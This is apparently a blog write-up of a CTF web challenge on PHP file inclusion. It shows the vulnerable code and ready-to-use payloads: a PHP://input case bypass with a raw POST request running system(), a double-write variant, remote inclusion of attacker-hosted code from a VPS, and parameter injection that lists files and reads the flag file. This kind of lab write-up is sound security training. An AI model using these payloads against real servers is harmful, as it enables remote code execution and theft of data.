攻防世界-web:Web_php_include

题目描述

暂无

题目截图

image

解题过程

1)题目代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

2)解题思路

根据题目代码可以看到后台可以接收两个参数
hello和page
其中page参数会判断是否存在php://字段,如果存在,则会进行str_replace替换,将php://替换为空。
然后进行对page参数值的包含操作。
hello参数则是直接输出在网页显示。
那么思路就可以有以下几种:
1)由于strstr函数对大小写不敏感,可以进行大写绕过。(strstr函数作用是查找匹配字段在目标字符串的位置,并返回当前位置及其以后的所有字符串,例如strstr("i am hacker!","am")则会返回am hacker!。)
2)由于str_replace函数是替换目标字段为空,则可以进行双写绕过。
3)题目本意是禁用php://协议,我们可以使用http协议、ftp协议等。

2.1 大写绕过

Payload:

POST /?page=PHP://input HTTP/1.1
Host: 111.200.241.244:63404
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

<?php system("cat *.php");?>

image

2.2 双写绕过

分析代码,代码中由于使用了while判断,所以程序会一直进行str_replace操作,相当于将字符串中所有的php://循环替换为空了,所以此题无法进行双写绕过。
image
如果代码改成if判断则可以进行双写绕过。代码如下:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
if (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

双写绕过Payload为:

page=php://phpphp://://input

这样利用方法跟上面的大写绕过一样了。

2.3 HTTP、FTP协议绕过

我们如果有VPS,则可以开一个web服务,并将包含的Payload放到web目录下,支持web访问。web服务可以利用paython启动:

python3 -m http.server 8007

Payload如下:
exp.txt

<?php system("cat *.php");?>

将此exp.txt放到部署好的web根目录中,并提取web访问链接,如:http://xxx.xxx.xxx.xxx:8007/exp.txt
image
经过测试发现此方法不行,也不知道具体原因。猜测可能题意不让进行外部http协议包含,在程序上做了些限制吧。等待大神受教。

参考个别师傅的解法,他们使用hello这个参数,利用http协议+ssrf+文件包含原理进行解题。解题过程如下:
由于hello这个参数可以直接打印在网页上,如果给hello这个参数出入php代码,再利用page这个参数将此网页进行文件包含,可以直接执行hello参数回显的代码。
查看当前目录文件
Payload:

http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?=`ls`;

image
flag在fl4gisisish3r3.php里。
读取flag
方法很多,show_source;heighlight_file;file_get_contents;readfile;但是不能使用system读取,具体原因未知。
Payload:

http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?readfile("fl4gisisish3r3.php");

image

http://111.200.241.244:63404/?page=http://127.0.0.1/?hello=<?var_dump(file("fl4gisisish3r3.php"));

image

提交得分

posted @ 2021-10-13 14:31  顺时针--+  阅读(267)  评论(0编辑  收藏  举报